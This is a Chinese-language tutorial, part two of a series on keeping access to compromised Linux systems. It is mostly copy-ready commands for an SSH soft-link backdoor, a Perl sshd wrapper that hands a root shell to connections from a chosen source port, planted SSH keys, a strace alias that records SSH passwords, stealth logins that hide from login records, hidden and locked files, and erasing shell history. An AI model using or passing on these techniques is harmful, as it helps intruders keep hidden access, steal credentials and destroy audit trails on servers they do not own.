黑客大神告诉你:Linux下的权限维持( 二 )


全程带阻:记一次授权网络攻防演练(下) https://www.freebuf.com/vuls/211847.html
0X02 权限维持技术SSH后门SSH软连接ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;
建立一个软连接 , 然后通过5555端口访问ssh服务
正常的登陆功能

黑客大神告诉你:Linux下的权限维持

文章插图
 
添加用户
useradd wing -p wing
ssh连接时密码任意输入 , kali测试时 , root也可以 。
具体原理见Linux的一个后门引发对PAM的探究
SSH WrApperExploit:
cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart
黑客大神告诉你:Linux下的权限维持

文章插图
 
然后连接:
socat STDIO TCP4:target_ip:22,sourceport=13377
黑客大神告诉你:Linux下的权限维持

文章插图
 
原理:
init首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候 , 正则匹配会失败 , 于是执行下一句 , 启动/usr/bin/sshd , 这是原始sshd 。原始的sshd监听端口建立了tcp连接后 , 会fork一个子进程处理具体工作 。这个子进程 , 没有什么检验 , 而是直接执行系统默认的位置的/usr/sbin/sshd , 这样子控制权又回到脚本了 。此时子进程标准输入输出已被重定向到套接字 , getpeername能真的获取到客户端的TCP源端口 , 如果是19526就执行sh给个shell 。来自https://www.anquanke.com/post/id/155943#h2-9
SSH key的写入本地先生成ssh key
ssh-keygen -t rsa
黑客大神告诉你:Linux下的权限维持

文章插图
 
再把公钥id_rsa.pub发送到目标上
黑客大神告诉你:Linux下的权限维持

文章插图
 
同时赋予权限 , 但是权限不能过大 。
chmod 600 ~/.ssh/authorized_keys
chmod 700 ~/.ssh
黑客大神告诉你:Linux下的权限维持

文章插图
 
SSH keylogger在当前用户配置文件末尾添加
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'
黑客大神告诉你:Linux下的权限维持

文章插图
 
Openssh Rookit需要安装环境依赖 , 可用性不是很高 , 参考利用Openssh后门 劫持root密码
SSH隐身登录隐身登录 隐身登录系统 , 不会被last who w等指令检测到
ssh -T username@host /bin/bash -i
ssh -o UserKnownHostsFile=/dev/null -T user@host
/bin/bash -if
Linux隐藏技术简单的隐藏文件touch .wing.py
可以找一些目录隐藏自己的恶意文件
黑客大神告诉你:Linux下的权限维持

文章插图
 
隐藏权限chattr命令可以给文件加锁 , 防止被删除 , 我们也可以将它利用起来
黑客大神告诉你:Linux下的权限维持

文章插图
 
解说:
黑客大神告诉你:Linux下的权限维持

文章插图
 
隐藏历史操作命令拿到shell以后 , 开始无痕模式 , 禁用命令历史记录功能 。
set +o history
恢复
set -o history
history
可以看到恢复以后可以正常记录历史命令
黑客大神告诉你:Linux下的权限维持

文章插图
 
删除自己的历史命令删除指定的历史记录
sed -i "100,$d" .bash_history
删除100行以后的操作命令
demo
黑客大神告诉你:Linux下的权限维持

文章插图
 
端口复用


推荐阅读